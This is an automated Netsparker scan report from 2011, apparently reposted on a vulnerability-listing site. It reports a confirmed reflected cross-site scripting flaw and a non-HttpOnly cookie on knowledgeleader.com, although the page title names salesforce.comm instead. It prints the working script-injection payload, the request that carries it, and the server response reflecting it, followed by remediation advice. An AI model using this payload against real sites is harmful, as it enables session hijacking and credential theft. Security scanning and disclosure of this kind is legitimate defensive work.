Average Speed

0.97 req/sec.

www.salesforce.comm XSS, GHDB DORK REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Netsparker - Scan Report Summary
TARGET URL
 http://www.knowledgeleader.com/KnowledgeLeade...
SCAN DATE
 4/28/2011 8:41:21 AM
REPORT DATE
 4/28/2011 8:43:36 AM
SCAN DURATION
 00:00:20
2
identified
2
confirmed
0
critical
0
informational

GHDB DORK Tests

Scan Settings
PROFILE
 Previous Settings
ENABLED ENGINES
 Blind SQL Injection, Boolean SQL Injection, HTTP Header Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

GHDB, DORK VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
50 %
LOW
50 %

GHDB, DORK VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header Query Based QUERYSTRING Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
Cross-site Scripting

Cross-site Scripting
1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header

/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header CONFIRMED

http://www.knowledgeleader.com/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&..

Parameters

Parameter Type Value
Query Based QUERYSTRING '"--></style></script><script>alert(0x0000CA)</script>

Request

GET /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header?'"--></style></script><script>netsparker(0x0000CA)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.knowledgeleader.com
Cookie: BIGipServerknowledgeleader.com_pool=736163338.20480.0000
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Thu, 28 Apr 2011 13:41:26 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 13147
Cache-control: no-cache
Set-Cookie: BIGipServerknowledgeleader.com_pool=736163338.20480.0000; expires=Thu, 28-Apr-2011 14:06:42 GMT; path=/


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><link rel="shortcut icon" href="/icons/KnowledgeLeader/Images/KL_Icon.ico"><link rel="stylesheet" type="text/css" media="all" href="/icons/KnowledgeLeader/xGlobal.css"><link rel="alternate" type="application/rss+xml" title="KnowledgeLeader.com" href="http://www.KnowledgeLeader.com/RSS/KnowledgeLeader"><script type="text/javascript" src="/icons/KnowledgeLeader/xGlobal.js"></script><script language="JavaScript" type="text/javascript"><!-- document._domino_target = "_self";function _doClick(v, o, t) { var returnValue = false; var url="&Click=" + v; if (o.href != null) { o.href = url; returnValue = true; } else { if (t == null) t = document._domino_target; window.open(url, t); } return returnValue;}// --></script><script language="JavaScript" type="text/javascript"><!-- function doSearchHeaderBar() {
var searchString = Trim(document.forms[0].SearchTerms.value);
searchFuzzy = 1;
searchWV = 1;
searchStringWithin = "";
searchStringOptions = 0;
if ( searchString == "" && document.forms[0].SearchString == null ) {
urlSearchString = "";
} else if ( searchString != "" ) {
urlSearchString = searchString.replace( / AND /gi, ' "AND" ' );
urlSearchString = urlSearchString.replace( / OR /gi, ' "OR" ' );
urlSearchString = urlSearchString.replace( / NOT /gi, ' "NOT" ' );
urlSearchString = urlSearchString.replace( / & /gi, '+%26+' );
urlSearchString = "(" + urlSearchString.replace( /\s/g,'+AND+' ) + ")";
searchString = searchString.replace( / & /gi, ' %26 ' );
} else {
var searchString = Trim(document.forms[0].SearchString.value);
var searchStringWithin = Trim(document.forms[0].SearchStringWithin.value);
urlSearchString = document.forms[0].Query.value;
for ( var i = 0; i < document.forms[0].SearchStringOptions.length; i++ ) {
if ( document.forms[0].SearchStringOptions[i].checked == true ) {
var searchStringOptions = i;
}
}
if ( searchStringOptions == 1 ) {
var searchFuzzy = 0;
var searchWV = 0;
} else if ( searchStringOptions == 0 || searchStringOptions == 2 ) {
var searchFuzzy = 1;
var searchWV = 1;
}
}

if (document.forms[0].Count == null) {
var count = "50";
} else {
var count = document.forms[0].Count.value
}

if (document.forms[0].SearchOrder == null) {
var searchOrder = "1";
} else {
var searchOrder = document.forms[0].SearchOrder.value;
}

searchString = searchString.replace( / & /gi, ' %26 ' );
searchStringWithin = searchStringWithin.replace( / & /gi, ' %26 ' );
urlSearchString = urlSearchString.replace( / & /gi, '+%26+' );

var dbPath = "KnowledgeLeader/Content.nsf"
location.href = "/" + dbPath + "/Web+Search+Advanced?SearchView&Query=" + urlSearchString + "&SearchFuzzy=" + searchFuzzy + "&SearchWV=" + searchWV + "&SearchOrder=" + searchOrder + "&Start=1&Count=" + count + "&searchString=" + searchString + "&searchWithin=" + searchStringWithin + "&using=" + searchStringOptions + "&checks1=" + "&checks2=" + "&checks3=";

}

function advSearch() {
if ( document.forms[0].SearchString == null || document.forms[0].SearchStringWithin == null ) {
var searchString = "";
var searchStringWithin = "";
var searchStringOptions = 0;
} else {
var searchString = document.forms[0].SearchString.value;
var searchStringWithin = document.forms[0].SearchStringWithin.value;
for ( var i = 0; i < document.forms[0].SearchStringOptions.length; i++ ) {
if ( document.forms[0].SearchStringOptions[i].checked == true ) {
var searchStringOptions = i;
}
}
}

if ( document.forms[0].Query == null ) {
var queryString = "";
} else {
var queryString = document.forms[0].Query.value;
}

// If 'Using' = 'Exact Phrase', don't use search options, if 'All Words' or 'Any Words' use search options
if ( searchStringOptions == 1 ) {
var searchFuzzy = 0;
var searchWV = 0;
} else if ( searchStringOptions == 0 || searchStringOptions == 2 ) {
var searchFuzzy = 1;
var searchWV = 1;
}

if (document.forms[0].Count == null) {
var count = "50";
}else {
var count = document.forms[0].Count.value
}

if (document.forms[0].SearchOrder == null) {
var searchOrder = "1";
} else {
var searchOrder = document.forms[0].SearchOrder.value;
}

searchString = searchString.replace( / & /gi, ' %26 ' );
searchStringWithin = searchStringWithin.replace( / & /gi, ' %26 ' );
queryString = queryString.replace( / & /gi, '+%26+' );

var dbPath = "KnowledgeLeader/Content.nsf"
location.href = "/" + dbPath + "/Web+Search+Advanced?SearchView&Query=" + queryString + "&SearchFuzzy=" + searchFuzzy + "&SearchWV=" + searchWV + "&SearchOrder=" + searchOrder + "&Start=1&Count=" + count + "&searchString=" + searchString + "&searchWithin=" + searchStringWithin + "&using=" + searchStringOptions + "&checks1=&checks2=&checks3=";
}

function enterKey(event) {
var code = 0;
code = event.keyCode;
if (code == 13) {
window.event.returnValue=false;
if (document.forms[0].SearchTerms.value != "") {
doSearchHeaderBar();
} else if (document.forms[0].Username.value != "" && document.forms[0].Password.value != "") {
doSubmit();
}
}
}

function trim(a)
{
return a.replace(/^ +/, "").replace(/ +$/, "").replace(/ +/g, " ");
}// --></script></head><body text="#000000" bgcolor="#FFFFFF" onload="var tab = document.forms[0].Type.value;

if (tab != 'Publications' &amp;&amp; tab != 'Tools' &amp;&amp; tab != 'Standards &amp; Training') {
//Do Nothing
} else if (tab == 'Standards &amp; Training') {
NavigationHover('Standards-Training', 'On');
} else {
NavigationHover(tab, 'On')
}" onkeypress="enterKey(event);"><form action=""> <div id="Masthead"> <div id="MastheadTools"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/AboutKnowledgeLeader!OpenDocument&header">About KnowledgeLeader</a> | <a href="javascript: PopDialog('/KnowledgeLeader/ContactUs.nsf/Questions!OpenForm&header', '400', '500')">Contact Us</a> | <a href="/KnowledgeLeader/Content.nsf/Web+Content/Site-Map!OpenDocument&header">Site Map</a> | <a href="/KnowledgeLeader/Content.nsf/Web+Content/AboutHelp!OpenDocument&header">Help</a> | <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header?'"--></style></script><script>netsparker(0x0000CA)</script>&Login">Login</a> </div> <div id="MastheadLogo"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&header"><img src="/icons/KnowledgeLeader/Images/KnowledgeLeader_Logo.gif" width="450" height="35" alt="KnowledgeLeader - Powered by Protiviti" /></a> </div> <div id="MastheadSearch"> <input type="text" id="SearchTerms" size="30"> <input type="Button" id="SearchButtonX" style="cursor:hand" onclick="Javascript:doSearchHeaderBar();" value="Search"> <a href="Javascript: advSearch();">Advanced</a> </div> </div> <div id="Navigation"> <div id="NavigationLinks"> <span id="Home" class="NavigationOff" onmouseover="NavigationHover('Home', 'Hover')" onmouseout="NavigationHover('Home', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&header">Home</a> </span> <span id="Topics" class="NavigationOff" onmouseover="NavigationHover('Topics', 'Hover')" onmouseout="NavigationHover('Topics', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Topics!OpenDocument&header">Topics</a> </span> <span id="Tools" class="NavigationOff" onmouseover="NavigationHover('Tools', 'Hover')" onmouseout="NavigationHover('Tools', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Tools!OpenDocument&header">Tools</a> </span> <span id="Publications" class="NavigationOff" onmouseover="NavigationHover('Publications', 'Hover')" onmouseout="NavigationHover('Publications', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Publications!OpenDocument&Start=1&header">Publications</a> </span> <span id="Standards-Training" class="NavigationOff" onmouseover="NavigationHover('Standards-Training', 'Hover')" onmouseout="NavigationHover('Standards-Training', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Standards-Training!OpenDocument&header">Standards & Training</a> </span> <span id="KLplus" class="NavigationOff" onmouseover="NavigationHover('KLplus', 'Hover')" onmouseout="NavigationHover('KLplus', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/KLplus!OpenDocument&header">KLplus</a> </span> <span id="University Center" class="NavigationOff" onmouseover="NavigationHover('University Center', 'Hover')" onmouseout="NavigationHover('University Center', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/University+Center!OpenDocument&header">University Center</a> </span> <span id="Favorites" class="NavigationOff" onmouseover="NavigationHover('Favorites', 'Hover')" onmouseout="NavigationHover('Favorites', 'Off')"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Favorites!OpenDocument&header">Favorites</a> </span> </div> </div><!--// ******************** Begin Content ******************** //--> <div id="Breadcrumbs"> <a href="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page">Home</a> <img src="/icons/KnowledgeLeader/Images/Bullet.gif" width="5" height="9" alt=">"> Page Not Found </div> <div id="Wrapper"> <div id="Content"> <table class="LayoutTable"> <tr> <td><p><big><b>Looking for something on KnowledgeLeader?</b></big></p><br><p>We're sorry, but your requested page could not be found.</p><br><p>You may have used an outdated link or typed the address (URL) incorrectly. Please be sure check the address for proper spelling, and if you are still experiencing difficulties locating your page on KnowledgeLeader, try visiting the KnowledgeLeader <a href="/">home page</a> or <a href="/KnowledgeLeader/Content.nsf/Web+Content/Site-Map">site map</a>.</p><br><p>Please <a href="javascript: PopDialog('/KnowledgeLeader/ContactUs.nsf/Questions!OpenForm', '400', '500')">contact us</a> to report any broken links, or if you have further questions.</p></td> </tr> </table> </div> </div><!--// ******************** End Content ******************** //--> <div id="Footer"> <div id="FooterLinks"> <table class="FooterNavigation" align="left" width="98%" border="0" cellpadding="0"> <tr valign="top"> <td width="25%"> <!-- AddThis Button BEGIN --> <script type="text/javascript"><!-- addthis_pub = 'kladmin'; addthis_localize = { share_caption: "Bookmark"} addthis_logo = "/icons/KnowledgeLeader/Images/KnowledgeLeader_Logo.gif"; addthis_logo_background = '000066'; addthis_logo_color = '#396a8b'; addthis_brand = '<font size=1>www.KnowledgeLeader.com</font>'; addthis_options = 'delicious, digg, email, favorites, facebook, fark, furl, google, live, myweb, newsvine, reddit, slashdot, stumbleupon, technorati, twitter, more'; addthis_offset_top = 2; addthis_offset_left = 2; addthis_header_color = '#ffffff'; addthis_header_background = '#003366'; //--></script> <a href="http://www.addthis.com/bookmark.php" onmouseover="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" onclick="return addthis_to()"><img src="http://s7.addthis.com/static/btn/lg-bookmark-en.gif" width="125" height="16" alt="Bookmark and Share www.KnowledgeLeader.com" style="border:0"/></a> <script type="text/javascript" src="http://s7.addthis.com/js/15/addthis_widget.js"></script> <!-- AddThis Button END --> </td> <td width="50%" ><div align="center"><font size=2><a href="javascript:doOpenAccessAgreement(700,500)">Access Agreement</a> | <a href="http://www.protiviti.com/en-US/Pages/Privacy-Policy.aspx" target="_blank">Privacy Policy</a></font></div> </td> <td width="25%"><div align="center"><font color="#6a9cbd" size=2>Join Our Community:</font></div> </td> </tr> <tr valign="top"> <td width="25%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""></td> <td width="50%"><div align="center"><font size=2>&copy;&nbsp;2011 Protiviti Inc. EOE All Rights Reserved</font></div> </td> <td width="25%"><div align="center"><a href="http://www.linkedin.com/groups?gid=53088&trk=hb_side_g" target="_blank"><img src="/icons/KnowledgeLeader/Images/LinkedIn.JPG" width="93" height="33" border="0" style="vertical-align:top" alt="KnowledgeLeader LinkedIn Page"></a>&nbsp;&nbsp;&nbsp;<a href="http://www.facebook.com/group.php?gid=6507701727" target="_blank"><img src="/icons/KnowledgeLeader/Images/Facebook.jpg" width=77" height="28" border="0" style="vertical-align:top" alt="KnowledgeLeader Facebook Page"></a></div> </td> </tr> </table> </div> </div><p><INPUT TYPE="hidden" NAME="$$SubscriberHideFlag" ID="$$SubscriberHideFlag" VALUE="1"><br><INPUT TYPE="hidden" NAME="Type" ID="Type" VALUE=""></form></body></html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly
1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header

/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header CONFIRMED

http://www.knowledgeleader.com/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&..

Identified Cookie

BIGipServerknowledgeleader.com_pool

Request

GET /KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.knowledgeleader.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Lotus-Domino
Date: Thu, 28 Apr 2011 13:41:14 GMT
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1011
Cache-control: no-cache
Set-Cookie: BIGipServerknowledgeleader.com_pool=736163338.20480.0000; expires=Thu, 28-Apr-2011 14:06:30 GMT; path=/


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head></head><body text="#000000" bgcolor="white" style="margin:0px; padding:0px" onload="//var fullURL = window.location.href; // this is the complete document url
//var fullURL = window.document.forms[0].RedirectTo.value;
//var redirectTo = fullURL.substr(0, fullURL.indexOf(&quot;&amp;Login&quot;)); //this drops the '&amp;Login' text

//window.location.href =&quot;/KnowledgeLeader/Registration.nsf/Authentication+Details!OpenForm&amp;redirectTo=&quot; + redirectTo;"><form method="post" action="/names.nsf?Login" name="_Authentication"><input type="hidden" name="%%ModDate" value="6000120E0D90C7F0"><iframe width="100%" height="100%"src ="/KnowledgeLeader/Registration.nsf/Authentication+Details!OpenForm" scrolling="no" frameborder="0"></iframe><INPUT TYPE="hidden" NAME="RedirectTo" ID="RedirectTo" VALUE="/KnowledgeLeader/Content.nsf/Web+Content/Home+Page!OpenDocument&Login&header"><br><!--////--></form></body></html>